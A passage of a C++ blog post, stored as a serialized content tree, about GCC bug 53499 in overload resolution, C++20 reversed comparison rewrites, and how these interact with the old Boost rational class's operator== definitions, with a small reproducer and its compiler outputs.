",{"type":19,"tag":51,"props":87755,"children":87756},{},[87757],{"type":24,"value":87758},"member function",{"type":24,"value":87760}," like ",{"type":19,"tag":27,"props":87762,"children":87764},{"className":87763},[],[87765],{"type":24,"value":87766},"a.operator==(b)",{"type":24,"value":87768}," usually has higher priority than a ",{"type":19,"tag":51,"props":87770,"children":87771},{},[87772],{"type":24,"value":87773},"non-member function",{"type":24,"value":87760},{"type":19,"tag":27,"props":87776,"children":87778},{"className":87777},[],[87779],{"type":24,"value":87780},"operator==(a, b)",{"type":24,"value":87782}," — unless the types differ too much or are ambiguous.",{"type":19,"tag":20,"props":87784,"children":87785},{},[87786],{"type":24,"value":87787},"That’s the rule. But G++ didn’t always follow it.",{"type":19,"tag":7050,"props":87789,"children":87791},{"id":87790},"the-bug",[87792],{"type":24,"value":87793},"The Bug",{"type":19,"tag":20,"props":87795,"children":87796},{},[87797,87799,87806],{"type":24,"value":87798},"In 2012, a bug was filed: ",{"type":19,"tag":269,"props":87800,"children":87803},{"href":87801,"rel":87802},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[273],[87804],{"type":24,"value":87805},"GCC Bug 53499 – overload resolution favors non-member function",{"type":24,"value":87807},". The issue? In expressions where:",{"type":19,"tag":43,"props":87809,"children":87810},{},[87811,87831],{"type":19,"tag":47,"props":87812,"children":87813},{},[87814,87816,87822,87824,87829],{"type":24,"value":87815},"A class ",{"type":19,"tag":27,"props":87817,"children":87819},{"className":87818},[],[87820],{"type":24,"value":87821},"rational\u003CT>",{"type":24,"value":87823}," has a templated ",{"type":19,"tag":27,"props":87825,"children":87827},{"className":87826},[],[87828],{"type":24,"value":87744},{"type":24,"value":87830}," member function",{"type":19,"tag":47,"props":87832,"children":87833},{},[87834,87836,87842],{"type":24,"value":87835},"There's also a more generic free ",{"type":19,"tag":27,"props":87837,"children":87839},{"className":87838},[],[87840],{"type":24,"value":87841},"operator==(rational\u003CT>, U)",{"type":24,"value":35689},{"type":19,"tag":20,"props":87844,"children":87845},{},[87846],{"type":19,"tag":51,"props":87847,"children":87848},{},[87849],{"type":24,"value":87850},"Clang correctly chooses the member function.",{"type":19,"tag":20,"props":87852,"children":87853},{},[87854],{"type":19,"tag":51,"props":87855,"children":87856},{},[87857],{"type":24,"value":87858},"G++ (before v14) chooses the non-member function.",{"type":19,"tag":20,"props":87860,"children":87861},{},[87862,87864,87869,87871,87878],{"type":24,"value":87863},"Why? Because G++ mishandles ",{"type":19,"tag":51,"props":87865,"children":87866},{},[87867],{"type":24,"value":87868},"templated conversion + non-exact match",{"type":24,"value":87870},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":19,"tag":269,"props":87872,"children":87875},{"href":87873,"rel":87874},"https://cplusplus.github.io/CWG/issues/532.html",[273],[87876],{"type":24,"value":87877},"CWG532: Member/nonmember operator template partial ordering",{"type":24,"value":948},{"type":19,"tag":7050,"props":87880,"children":87882},{"id":87881},"a-minimal-reproducer",[87883],{"type":24,"value":87884},"A Minimal Reproducer",{"type":19,"tag":20,"props":87886,"children":87887},{},[87888],{"type":24,"value":87889},"Let’s see this in action:",{"type":19,"tag":158,"props":87891,"children":87893},{"code":87892,"language":26582,"meta":7,"className":26580,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n template \u003Cclass T>\n bool operator==(const T& i) const {\n std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n return true;\n }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n return false;\n}\n\nint main() {\n rational\u003Cint> r;\n return r == 0;\n}\n",[87894],{"type":19,"tag":27,"props":87895,"children":87896},{"__ignoreMap":7},[87897,87910,87917,87942,87958,87966,87990,88035,88063,88078,88085,88092,88099,88135,88204,88229,88244,88251,88258,88274,88299,88323],{"type":19,"tag":168,"props":87898,"children":87899},{"class":170,"line":171},[87900,87905],{"type":19,"tag":168,"props":87901,"children":87902},{"style":419},[87903],{"type":24,"value":87904},"#include",{"type":19,"tag":168,"props":87906,"children":87907},{"style":181},[87908],{"type":24,"value":87909}," \u003Ciostream>\n",{"type":19,"tag":168,"props":87911,"children":87912},{"class":170,"line":198},[87913],{"type":19,"tag":168,"props":87914,"children":87915},{"emptyLinePlaceholder":14},[87916],{"type":24,"value":1093},{"type":19,"tag":168,"props":87918,"children":87919},{"class":170,"line":415},[87920,87924,87928,87933,87938],{"type":19,"tag":168,"props":87921,"children":87922},{"style":382},[87923],{"type":24,"value":63702},{"type":19,"tag":168,"props":87925,"children":87926},{"style":212},[87927],{"type":24,"value":6157},{"type":19,"tag":168,"props":87929,"children":87930},{"style":382},[87931],{"type":24,"value":87932},"typename",{"type":19,"tag":168,"props":87934,"children":87935},{"style":825},[87936],{"type":24,"value":87937}," IntType",{"type":19,"tag":168,"props":87939,"children":87940},{"style":212},[87941],{"type":24,"value":3427},{"type":19,"tag":168,"props":87943,"children":87944},{"class":170,"line":450},[87945,87949,87954],{"type":19,"tag":168,"props":87946,"children":87947},{"style":382},[87948],{"type":24,"value":67897},{"type":19,"tag":168,"props":87950,"children":87951},{"style":825},[87952],{"type":24,"value":87953}," rational",{"type":19,"tag":168,"props":87955,"children":87956},{"style":212},[87957],{"type":24,"value":691},{"type":19,"tag":168,"props":87959,"children":87960},{"class":170,"line":560},[87961],{"type":19,"tag":168,"props":87962,"children":87963},{"style":382},[87964],{"type":24,"value":87965},"public:\n",{"type":19,"tag":168,"props":87967,"children":87968},{"class":170,"line":666},[87969,87974,87978,87982,87986],{"type":19,"tag":168,"props":87970,"children":87971},{"style":382},[87972],{"type":24,"value":87973}," template",{"type":19,"tag":168,"props":87975,"children":87976},{"style":212},[87977],{"type":24,"value":6157},{"type":19,"tag":168,"props":87979,"children":87980},{"style":382},[87981],{"type":24,"value":67897},{"type":19,"tag":168,"props":87983,"children":87984},{"style":825},[87985],{"type":24,"value":3353},{"type":19,"tag":168,"props":87987,"children":87988},{"style":212},[87989],{"type":24,"value":3427},{"type":19,"tag":168,"props":87991,"children":87992},{"class":170,"line":694},[87993,87997,88002,88007,88011,88015,88019,88023,88027,88031],{"type":19,"tag":168,"props":87994,"children":87995},{"style":382},[87996],{"type":24,"value":43954},{"type":19,"tag":168,"props":87998,"children":87999},{"style":382},[88000],{"type":24,"value":88001}," operator",{"type":19,"tag":168,"props":88003,"children":88004},{"style":212},[88005],{"type":24,"value":88006},"==(",{"type":19,"tag":168,"props":88008,"children":88009},{"style":382},[88010],{"type":24,"value":7097},{"type":19,"tag":168,"props":88012,"children":88013},{"style":825},[88014],{"type":24,"value":3353},{"type":19,"tag":168,"props":88016,"children":88017},{"style":382},[88018],{"type":24,"value":505},{"type":19,"tag":168,"props":88020,"children":88021},{"style":393},[88022],{"type":24,"value":804},{"type":19,"tag":168,"props":88024,"children":88025},{"style":212},[88026],{"type":24,"value":481},{"type":19,"tag":168,"props":88028,"children":88029},{"style":382},[88030],{"type":24,"value":7097},{"type":19,"tag":168,"props":88032,"children":88033},{"style":212},[88034],{"type":24,"value":691},{"type":19,"tag":168,"props":88036,"children":88037},{"class":170,"line":707},[88038,88043,88048,88053,88058],{"type":19,"tag":168,"props":88039,"children":88040},{"style":212},[88041],{"type":24,"value":88042}," std::cout ",{"type":19,"tag":168,"props":88044,"children":88045},{"style":399},[88046],{"type":24,"value":88047},"\u003C\u003C",{"type":19,"tag":168,"props":88049,"children":88050},{"style":181},[88051],{"type":24,"value":88052}," \"clang++ resolved member\"",{"type":19,"tag":168,"props":88054,"children":88055},{"style":399},[88056],{"type":24,"value":88057}," \u003C\u003C",{"type":19,"tag":168,"props":88059,"children":88060},{"style":212},[88061],{"type":24,"value":88062}," std::endl;\n",{"type":19,"tag":168,"props":88064,"children":88065},{"class":170,"line":725},[88066,88070,88074],{"type":19,"tag":168,"props":88067,"children":88068},{"style":419},[88069],{"type":24,"value":13192},{"type":19,"tag":168,"props":88071,"children":88072},{"style":382},[88073],{"type":24,"value":9914},{"type":19,"tag":168,"props":88075,"children":88076},{"style":212},[88077],{"type":24,"value":412},{"type":19,"tag":168,"props":88079,"children":88080},{"class":170,"line":746},[88081],{"type":19,"tag":168,"props":88082,"children":88083},{"style":212},[88084],{"type":24,"value":761},{"type":19,"tag":168,"props":88086,"children":88087},{"class":170,"line":755},[88088],{"type":19,"tag":168,"props":88089,"children":88090},{"style":212},[88091],{"type":24,"value":14026},{"type":19,"tag":168,"props":88093,"children":88094},{"class":170,"line":1008},[88095],{"type":19,"tag":168,"props":88096,"children":88097},{"emptyLinePlaceholder":14},[88098],{"type":24,"value":1093},{"type":19,"tag":168,"props":88100,"children":88101},{"class":170,"line":1025},[88102,88106,88110,88114,88119,88123,88127,88131],{"type":19,"tag":168,"props":88103,"children":88104},{"style":382},[88105],{"type":24,"value":63702},{"type":19,"tag":168,"props":88107,"children":88108},{"style":212},[88109],{"type":24,"value":6157},{"type":19,"tag":168,"props":88111,"children":88112},{"style":382},[88113],{"type":24,"value":67897},{"type":19,"tag":168,"props":88115,"children":88116},{"style":825},[88117],{"type":24,"value":88118}," Arg",{"type":19,"tag":168,"props":88120,"children":88121},{"style":212},[88122],{"type":24,"value":471},{"type":19,"tag":168,"props":88124,"children":88125},{"style":382},[88126],{"type":24,"value":67897},{"type":19,"tag":168,"props":88128,"children":88129},{"style":825},[88130],{"type":24,"value":87937},{"type":19,"tag":168,"props":88132,"children":88133},{"style":212},[88134],{"type":24,"value":3427},{"type":19,"tag":168,"props":88136,"children":88137},{"class":170,"line":1042},[88138,88142,88146,88150,88154,88158,88162,88167,88171,88175,88179,88183,88187,88191,88195,88200],{"type":19,"tag":168,"props":88139,"children":88140},{"style":382},[88141],{"type":24,"value":27156},{"type":19,"tag":168,"props":88143,"children":88144},{"style":382},[88145],{"type":24,"value":88001},{"type":19,"tag":168,"props":88147,"children":88148},{"style":212},[88149],{"type":24,"value":88006},{"type":19,"tag":168,"props":88151,"children":88152},{"style":382},[88153],{"type":24,"value":7097},{"type":19,"tag":168,"props":88155,"children":88156},{"style":825},[88157],{"type":24,"value":87953},{"type":19,"tag":168,"props":88159,"children":88160},{"style":212},[88161],{"type":24,"value":3240},{"type":19,"tag":168,"props":88163,"children":88164},{"style":825},[88165],{"type":24,"value":88166},"IntType",{"type":19,"tag":168,"props":88168,"children":88169},{"style":212},[88170],{"type":24,"value":7905},{"type":19,"tag":168,"props":88172,"children":88173},{"style":382},[88174],{"type":24,"value":505},{"type":19,"tag":168,"props":88176,"children":88177},{"style":393},[88178],{"type":24,"value":87325},{"type":19,"tag":168,"props":88180,"children":88181},{"style":212},[88182],{"type":24,"value":471},{"type":19,"tag":168,"props":88184,"children":88185},{"style":382},[88186],{"type":24,"value":7097},{"type":19,"tag":168,"props":88188,"children":88189},{"style":825},[88190],{"type":24,"value":88118},{"type":19,"tag":168,"props":88192,"children":88193},{"style":382},[88194],{"type":24,"value":505},{"type":19,"tag":168,"props":88196,"children":88197},{"style":393},[88198],{"type":24,"value":88199}," b",{"type":19,"tag":168,"props":88201,"children":88202},{"style":212},[88203],{"type":24,"value":12250},{"type":19,"tag":168,"props":88205,"children":88206},{"class":170,"line":1055},[88207,88212,88216,88221,88225],{"type":19,"tag":168,"props":88208,"children":88209},{"style":212},[88210],{"type":24,"value":88211}," std::cout ",{"type":19,"tag":168,"props":88213,"children":88214},{"style":399},[88215],{"type":24,"value":88047},{"type":19,"tag":168,"props":88217,"children":88218},{"style":181},[88219],{"type":24,"value":88220}," \"g++ \u003C14 resolved non-member\"",{"type":19,"tag":168,"props":88222,"children":88223},{"style":399},[88224],{"type":24,"value":88057},{"type":19,"tag":168,"props":88226,"children":88227},{"style":212},[88228],{"type":24,"value":88062},{"type":19,"tag":168,"props":88230,"children":88231},{"class":170,"line":1064},[88232,88236,88240],{"type":19,"tag":168,"props":88233,"children":88234},{"style":419},[88235],{"type":24,"value":14438},{"type":19,"tag":168,"props":88237,"children":88238},{"style":382},[88239],{"type":24,"value":6497},{"type":19,"tag":168,"props":88241,"children":88242},{"style":212},[88243],{"type":24,"value":412},{"type":19,"tag":168,"props":88245,"children":88246},{"class":170,"line":1087},[88247],{"type":19,"tag":168,"props":88248,"children":88249},{"style":212},[88250],{"type":24,"value":1326},{"type":19,"tag":168,"props":88252,"children":88253},{"class":170,"line":1096},[88254],{"type":19,"tag":168,"props":88255,"children":88256},{"emptyLinePlaceholder":14},[88257],{"type":24,"value":1093},{"type":19,"tag":168,"props":88259,"children":88260},{"class":170,"line":1105},[88261,88265,88270],{"type":19,"tag":168,"props":88262,"children":88263},{"style":382},[88264],{"type":24,"value":16500},{"type":19,"tag":168,"props":88266,"children":88267},{"style":175},[88268],{"type":24,"value":88269}," main",{"type":19,"tag":168,"props":88271,"children":88272},{"style":212},[88273],{"type":24,"value":13184},{"type":19,"tag":168,"props":88275,"children":88276},{"class":170,"line":1174},[88277,88282,88286,88290,88294],{"type":19,"tag":168,"props":88278,"children":88279},{"style":212},[88280],{"type":24,"value":88281}," rational",{"type":19,"tag":168,"props":88283,"children":88284},{"style":399},[88285],{"type":24,"value":3240},{"type":19,"tag":168,"props":88287,"children":88288},{"style":382},[88289],{"type":24,"value":16500},{"type":19,"tag":168,"props":88291,"children":88292},{"style":399},[88293],{"type":24,"value":7905},{"type":19,"tag":168,"props":88295,"children":88296},{"style":212},[88297],{"type":24,"value":88298}," r;\n",{"type":19,"tag":168,"props":88300,"children":88301},{"class":170,"line":1182},[88302,88306,88311,88315,88319],{"type":19,"tag":168,"props":88303,"children":88304},{"style":419},[88305],{"type":24,"value":14438},{"type":19,"tag":168,"props":88307,"children":88308},{"style":212},[88309],{"type":24,"value":88310}," r ",{"type":19,"tag":168,"props":88312,"children":88313},{"style":399},[88314],{"type":24,"value":6013},{"type":19,"tag":168,"props":88316,"children":88317},{"style":192},[88318],{"type":24,"value":437},{"type":19,"tag":168,"props":88320,"children":88321},{"style":212},[88322],{"type":24,"value":412},{"type":19,"tag":168,"props":88324,"children":88325},{"class":170,"line":1212},[88326],{"type":19,"tag":168,"props":88327,"children":88328},{"style":212},[88329],{"type":24,"value":1326},{"type":19,"tag":43,"props":88331,"children":88332},{},[88333],{"type":19,"tag":47,"props":88334,"children":88335},{},[88336],{"type":24,"value":88337},"Compile with g++\u003C14:",{"type":19,"tag":158,"props":88339,"children":88341},{"code":88340,"language":162,"meta":7,"className":160,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[88342],{"type":19,"tag":27,"props":88343,"children":88344},{"__ignoreMap":7},[88345],{"type":19,"tag":168,"props":88346,"children":88347},{"class":170,"line":171},[88348,88353,88358,88363,88368,88372,88376],{"type":19,"tag":168,"props":88349,"children":88350},{"style":175},[88351],{"type":24,"value":88352},"g++",{"type":19,"tag":168,"props":88354,"children":88355},{"style":181},[88356],{"type":24,"value":88357}," -std=c++17",{"type":19,"tag":168,"props":88359,"children":88360},{"style":181},[88361],{"type":24,"value":88362}," main.cpp",{"type":19,"tag":168,"props":88364,"children":88365},{"style":181},[88366],{"type":24,"value":88367}," -o",{"type":19,"tag":168,"props":88369,"children":88370},{"style":181},[88371],{"type":24,"value":28149},{"type":19,"tag":168,"props":88373,"children":88374},{"style":212},[88375],{"type":24,"value":215},{"type":19,"tag":168,"props":88377,"children":88378},{"style":175},[88379],{"type":24,"value":88380},"./test\n",{"type":19,"tag":20,"props":88382,"children":88383},{},[88384],{"type":24,"value":88385},"Output (on g++ 11.4):",{"type":19,"tag":158,"props":88387,"children":88389},{"code":88388},"g++ \u003C14 resolved non-member\n",[88390],{"type":19,"tag":27,"props":88391,"children":88392},{"__ignoreMap":7},[88393],{"type":24,"value":88388},{"type":19,"tag":43,"props":88395,"children":88396},{},[88397],{"type":19,"tag":47,"props":88398,"children":88399},{},[88400],{"type":24,"value":88401},"Compile with clang++:",{"type":19,"tag":158,"props":88403,"children":88405},{"code":88404,"language":162,"meta":7,"className":160,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[88406],{"type":19,"tag":27,"props":88407,"children":88408},{"__ignoreMap":7},[88409],{"type":19,"tag":168,"props":88410,"children":88411},{"class":170,"line":171},[88412,88417,88421,88425,88429,88433,88437],{"type":19,"tag":168,"props":88413,"children":88414},{"style":175},[88415],{"type":24,"value":88416},"clang++",{"type":19,"tag":168,"props":88418,"children":88419},{"style":181},[88420],{"type":24,"value":88357},{"type":19,"tag":168,"props":88422,"children":88423},{"style":181},[88424],{"type":24,"value":88362},{"type":19,"tag":168,"props":88426,"children":88427},{"style":181},[88428],{"type":24,"value":88367},{"type":19,"tag":168,"props":88430,"children":88431},{"style":181},[88432],{"type":24,"value":28149},{"type":19,"tag":168,"props":88434,"children":88435},{"style":212},[88436],{"type":24,"value":215},{"type":19,"tag":168,"props":88438,"children":88439},{"style":175},[88440],{"type":24,"value":88380},{"type":19,"tag":20,"props":88442,"children":88443},{},[88444],{"type":24,"value":88445},"Output:",{"type":19,"tag":158,"props":88447,"children":88449},{"code":88448},"clang++ resolved member\n",[88450],{"type":19,"tag":27,"props":88451,"children":88452},{"__ignoreMap":7},[88453],{"type":24,"value":88448},{"type":19,"tag":20,"props":88455,"children":88456},{},[88457],{"type":24,"value":88458},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":19,"tag":16245,"props":88460,"children":88461},{},[],{"type":19,"tag":36,"props":88463,"children":88465},{"id":88464},"part-ii-c20s-symmetric-comparison-feature",[88466],{"type":24,"value":88467},"Part II: C++20’s Symmetric Comparison Feature",{"type":19,"tag":7050,"props":88469,"children":88471},{"id":88470},"what-changed-in-c20",[88472],{"type":24,"value":88473},"What Changed in C++20?",{"type":19,"tag":20,"props":88475,"children":88476},{},[88477,88479,88492,88493,88498],{"type":24,"value":88478},"C++20 introduced the ",{"type":19,"tag":269,"props":88480,"children":88483},{"href":88481,"rel":88482},"https://en.cppreference.com/w/cpp/language/operator_comparison",[273],[88484,88486],{"type":24,"value":88485},"spaceship operator ",{"type":19,"tag":27,"props":88487,"children":88489},{"className":88488},[],[88490],{"type":24,"value":88491},"\u003C=>",{"type":24,"value":8436},{"type":19,"tag":51,"props":88494,"children":88495},{},[88496],{"type":24,"value":88497},"defaulted comparison rewrites",{"type":24,"value":948},{"type":19,"tag":20,"props":88500,"children":88501},{},[88502,88504,88509],{"type":24,"value":88503},"When you define a two-argument ",{"type":19,"tag":27,"props":88505,"children":88507},{"className":88506},[],[88508],{"type":24,"value":87744},{"type":24,"value":88510},", C++20 may implicitly define the \"reversed\" version:",{"type":19,"tag":43,"props":88512,"children":88513},{},[88514,88525],{"type":19,"tag":47,"props":88515,"children":88516},{},[88517,88519],{"type":24,"value":88518},"If you define: ",{"type":19,"tag":27,"props":88520,"children":88522},{"className":88521},[],[88523],{"type":24,"value":88524},"bool operator==(T1, T2);",{"type":19,"tag":47,"props":88526,"children":88527},{},[88528,88530,88536],{"type":24,"value":88529},"Then ",{"type":19,"tag":27,"props":88531,"children":88533},{"className":88532},[],[88534],{"type":24,"value":88535},"T2 == T1",{"type":24,"value":88537}," may call the same function by reversing the arguments.",{"type":19,"tag":20,"props":88539,"children":88540},{},[88541,88543,88548,88549,88554,88556,88562,88564,88569],{"type":24,"value":88542},"This rewrite is ",{"type":19,"tag":51,"props":88544,"children":88545},{},[88546],{"type":24,"value":88547},"recursive",{"type":24,"value":12778},{"type":19,"tag":27,"props":88550,"children":88552},{"className":88551},[],[88553],{"type":24,"value":87736},{"type":24,"value":88555}," becomes ",{"type":19,"tag":27,"props":88557,"children":88559},{"className":88558},[],[88560],{"type":24,"value":88561},"b == a",{"type":24,"value":88563},", which becomes ",{"type":19,"tag":27,"props":88565,"children":88567},{"className":88566},[],[88568],{"type":24,"value":87736},{"type":24,"value":88570}," again, and so on — if not handled carefully.",{"type":19,"tag":20,"props":88572,"children":88573},{},[88574],{"type":24,"value":88575},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":19,"tag":16245,"props":88577,"children":88578},{},[],{"type":19,"tag":36,"props":88580,"children":88582},{"id":88581},"part-iii-the-boost-trapdoor",[88583],{"type":24,"value":88584},"Part III: The Boost Trapdoor",{"type":19,"tag":20,"props":88586,"children":88587},{},[88588,88590,88596,88598,88603],{"type":24,"value":88589},"The old Boost ",{"type":19,"tag":27,"props":88591,"children":88593},{"className":88592},[],[88594],{"type":24,"value":88595},"rational",{"type":24,"value":88597}," class (prior to v1.75) defined both member function and non-member function of ",{"type":19,"tag":27,"props":88599,"children":88601},{"className":88600},[],[88602],{"type":24,"value":87744},{"type":24,"value":1922},{"type":19,"tag":158,"props":88605,"children":88607},{"code":88606,"language":26582,"meta":7,"className":26580,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n ...\npublic:\n ...\n \n template \u003Cclass T>\n BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n {\n return ((den == IntType(1)) && (num == i));\n }\n ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n return a == b; \n}\n",[88608],{"type":19,"tag":27,"props":88609,"children":88610},{"__ignoreMap":7},[88611,88646,88669,88681,88688,88695,88702,88709,88716,88739,88827,88834,88885,88892,88899,88906,88913,88948,88956,88984,89023,89088,89095,89115],{"type":19,"tag":168,"props":88612,"children":88613},{"class":170,"line":171},[88614,88618,88622,88626,88630,88634,88638,88642],{"type":19,"tag":168,"props":88615,"children":88616},{"style":382},[88617],{"type":24,"value":63702},{"type":19,"tag":168,"props":88619,"children":88620},{"style":212},[88621],{"type":24,"value":6157},{"type":19,"tag":168,"props":88623,"children":88624},{"style":382},[88625],{"type":24,"value":67897},{"type":19,"tag":168,"props":88627,"children":88628},{"style":825},[88629],{"type":24,"value":88118},{"type":19,"tag":168,"props":88631,"children":88632},{"style":212},[88633],{"type":24,"value":471},{"type":19,"tag":168,"props":88635,"children":88636},{"style":382},[88637],{"type":24,"value":67897},{"type":19,"tag":168,"props":88639,"children":88640},{"style":825},[88641],{"type":24,"value":87937},{"type":19,"tag":168,"props":88643,"children":88644},{"style":212},[88645],{"type":24,"value":3427},{"type":19,"tag":168,"props":88647,"children":88648},{"class":170,"line":198},[88649,88653,88657,88661,88665],{"type":19,"tag":168,"props":88650,"children":88651},{"style":382},[88652],{"type":24,"value":63702},{"type":19,"tag":168,"props":88654,"children":88655},{"style":212},[88656],{"type":24,"value":6157},{"type":19,"tag":168,"props":88658,"children":88659},{"style":382},[88660],{"type":24,"value":87932},{"type":19,"tag":168,"props":88662,"children":88663},{"style":825},[88664],{"type":24,"value":87937},{"type":19,"tag":168,"props":88666,"children":88667},{"style":212},[88668],{"type":24,"value":3427},{"type":19,"tag":168,"props":88670,"children":88671},{"class":170,"line":415},[88672,88676],{"type":19,"tag":168,"props":88673,"children":88674},{"style":382},[88675],{"type":24,"value":67897},{"type":19,"tag":168,"props":88677,"children":88678},{"style":825},[88679],{"type":24,"value":88680}," rational\n",{"type":19,"tag":168,"props":88682,"children":88683},{"class":170,"line":450},[88684],{"type":19,"tag":168,"props":88685,"children":88686},{"style":212},[88687],{"type":24,"value":8324},{"type":19,"tag":168,"props":88689,"children":88690},{"class":170,"line":560},[88691],{"type":19,"tag":168,"props":88692,"children":88693},{"style":212},[88694],{"type":24,"value":17794},{"type":19,"tag":168,"props":88696,"children":88697},{"class":170,"line":666},[88698],{"type":19,"tag":168,"props":88699,"children":88700},{"style":382},[88701],{"type":24,"value":87965},{"type":19,"tag":168,"props":88703,"children":88704},{"class":170,"line":694},[88705],{"type":19,"tag":168,"props":88706,"children":88707},{"style":212},[88708],{"type":24,"value":17794},{"type":19,"tag":168,"props":88710,"children":88711},{"class":170,"line":707},[88712],{"type":19,"tag":168,"props":88713,"children":88714},{"style":212},[88715],{"type":24,"value":59271},{"type":19,"tag":168,"props":88717,"children":88718},{"class":170,"line":725},[88719,88723,88727,88731,88735],{"type":19,"tag":168,"props":88720,"children":88721},{"style":382},[88722],{"type":24,"value":87973},{"type":19,"tag":168,"props":88724,"children":88725},{"style":212},[88726],{"type":24,"value":6157},{"type":19,"tag":168,"props":88728,"children":88729},{"style":382},[88730],{"type":24,"value":67897},{"type":19,"tag":168,"props":88732,"children":88733},{"style":825},[88734],{"type":24,"value":3353},{"type":19,"tag":168,"props":88736,"children":88737},{"style":212},[88738],{"type":24,"value":3427},{"type":19,"tag":168,"props":88740,"children":88741},{"class":170,"line":746},[88742,88747,88751,88756,88760,88764,88768,88773,88777,88781,88785,88789,88793,88797,88802,88806,88810,88814,88818,88822],{"type":19,"tag":168,"props":88743,"children":88744},{"style":212},[88745],{"type":24,"value":88746}," BOOST_CONSTEXPR ",{"type":19,"tag":168,"props":88748,"children":88749},{"style":382},[88750],{"type":24,"value":87932},{"type":19,"tag":168,"props":88752,"children":88753},{"style":212},[88754],{"type":24,"value":88755}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":19,"tag":168,"props":88757,"children":88758},{"style":825},[88759],{"type":24,"value":3422},{"type":19,"tag":168,"props":88761,"children":88762},{"style":212},[88763],{"type":24,"value":471},{"type":19,"tag":168,"props":88765,"children":88766},{"style":825},[88767],{"type":24,"value":88166},{"type":19,"tag":168,"props":88769,"children":88770},{"style":212},[88771],{"type":24,"value":88772},">::",{"type":19,"tag":168,"props":88774,"children":88775},{"style":825},[88776],{"type":24,"value":36627},{"type":19,"tag":168,"props":88778,"children":88779},{"style":212},[88780],{"type":24,"value":471},{"type":19,"tag":168,"props":88782,"children":88783},{"style":382},[88784],{"type":24,"value":27156},{"type":19,"tag":168,"props":88786,"children":88787},{"style":212},[88788],{"type":24,"value":88772},{"type":19,"tag":168,"props":88790,"children":88791},{"style":825},[88792],{"type":24,"value":30229},{"type":19,"tag":168,"props":88794,"children":88795},{"style":382},[88796],{"type":24,"value":88001},{"type":19,"tag":168,"props":88798,"children":88799},{"style":212},[88800],{"type":24,"value":88801},"== (",{"type":19,"tag":168,"props":88803,"children":88804},{"style":382},[88805],{"type":24,"value":7097},{"type":19,"tag":168,"props":88807,"children":88808},{"style":825},[88809],{"type":24,"value":3353},{"type":19,"tag":168,"props":88811,"children":88812},{"style":382},[88813],{"type":24,"value":505},{"type":19,"tag":168,"props":88815,"children":88816},{"style":393},[88817],{"type":24,"value":804},{"type":19,"tag":168,"props":88819,"children":88820},{"style":212},[88821],{"type":24,"value":481},{"type":19,"tag":168,"props":88823,"children":88824},{"style":382},[88825],{"type":24,"value":88826},"const\n",{"type":19,"tag":168,"props":88828,"children":88829},{"class":170,"line":755},[88830],{"type":19,"tag":168,"props":88831,"children":88832},{"style":212},[88833],{"type":24,"value":26657},{"type":19,"tag":168,"props":88835,"children":88836},{"class":170,"line":1008},[88837,88842,88847,88851,88855,88859,88863,88867,88871,88876,88880],{"type":19,"tag":168,"props":88838,"children":88839},{"style":419},[88840],{"type":24,"value":88841}," return",{"type":19,"tag":168,"props":88843,"children":88844},{"style":212},[88845],{"type":24,"value":88846}," ((den ",{"type":19,"tag":168,"props":88848,"children":88849},{"style":399},[88850],{"type":24,"value":6013},{"type":19,"tag":168,"props":88852,"children":88853},{"style":175},[88854],{"type":24,"value":87937},{"type":19,"tag":168,"props":88856,"children":88857},{"style":212},[88858],{"type":24,"value":500},{"type":19,"tag":168,"props":88860,"children":88861},{"style":192},[88862],{"type":24,"value":1442},{"type":19,"tag":168,"props":88864,"children":88865},{"style":212},[88866],{"type":24,"value":6275},{"type":19,"tag":168,"props":88868,"children":88869},{"style":399},[88870],{"type":24,"value":70684},{"type":19,"tag":168,"props":88872,"children":88873},{"style":212},[88874],{"type":24,"value":88875}," (num ",{"type":19,"tag":168,"props":88877,"children":88878},{"style":399},[88879],{"type":24,"value":6013},{"type":19,"tag":168,"props":88881,"children":88882},{"style":212},[88883],{"type":24,"value":88884}," i));\n",{"type":19,"tag":168,"props":88886,"children":88887},{"class":170,"line":1025},[88888],{"type":19,"tag":168,"props":88889,"children":88890},{"style":212},[88891],{"type":24,"value":761},{"type":19,"tag":168,"props":88893,"children":88894},{"class":170,"line":1042},[88895],{"type":19,"tag":168,"props":88896,"children":88897},{"style":212},[88898],{"type":24,"value":17794},{"type":19,"tag":168,"props":88900,"children":88901},{"class":170,"line":1055},[88902],{"type":19,"tag":168,"props":88903,"children":88904},{"style":212},[88905],{"type":24,"value":1326},{"type":19,"tag":168,"props":88907,"children":88908},{"class":170,"line":1064},[88909],{"type":19,"tag":168,"props":88910,"children":88911},{"emptyLinePlaceholder":14},[88912],{"type":24,"value":1093},{"type":19,"tag":168,"props":88914,"children":88915},{"class":170,"line":1087},[88916,88920,88924,88928,88932,88936,88940,88944],{"type":19,"tag":168,"props":88917,"children":88918},{"style":382},[88919],{"type":24,"value":63702},{"type":19,"tag":168,"props":88921,"children":88922},{"style":212},[88923],{"type":24,"value":6157},{"type":19,"tag":168,"props":88925,"children":88926},{"style":382},[88927],{"type":24,"value":67897},{"type":19,"tag":168,"props":88929,"children":88930},{"style":825},[88931],{"type":24,"value":88118},{"type":19,"tag":168,"props":88933,"children":88934},{"style":212},[88935],{"type":24,"value":471},{"type":19,"tag":168,"props":88937,"children":88938},{"style":382},[88939],{"type":24,"value":67897},{"type":19,"tag":168,"props":88941,"children":88942},{"style":825},[88943],{"type":24,"value":87937},{"type":19,"tag":168,"props":88945,"children":88946},{"style":212},[88947],{"t